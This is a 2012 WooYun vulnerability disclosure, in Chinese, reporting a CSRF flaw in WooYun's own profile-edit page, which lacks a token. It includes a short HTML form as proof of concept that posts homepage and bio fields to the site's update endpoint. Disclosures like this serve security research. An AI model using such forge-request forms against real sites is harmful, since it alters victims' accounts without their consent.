当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-06536

漏洞标题：wooyun CSRF漏洞

相关厂商：Wooyun

漏洞作者： Sogili

提交时间：2012-04-30 12:18

修复时间：2012-04-30 12:18

公开时间：2012-04-30 12:18

漏洞类型：CSRF

危害等级：低

自评Rank：1

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-04-30： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-04-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

CSRF

详细说明：

修改资料页无token

漏洞证明：

<meta charset=utf-8 >
<form action="//www.wooyun.org/user.php?action=update&amp;do=editinfo" method="POST">
		<div class="infoContent block">
			<table class="formTable">
				<tbody>
					<tr>
						<th width="100">
						个人主页：
						</th>
						<td><input type="text" name="homepage" ></td>
					</tr>
					<tr>
						<th valign="top">
						个人简介：
						</th>
						<td><textarea rows="4" cols="60" name="brief"></textarea></td>
					</tr>
					<tr>
						<th>&nbsp;</th>
						<td><input type="submit" value="修改"> <input type="button" value="取消"></td>
					</tr>
				</tbody>
			</table>
		</div>
		</form>

修复方案：

还是不晓得

版权声明：转载请注明来源 Sogili@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝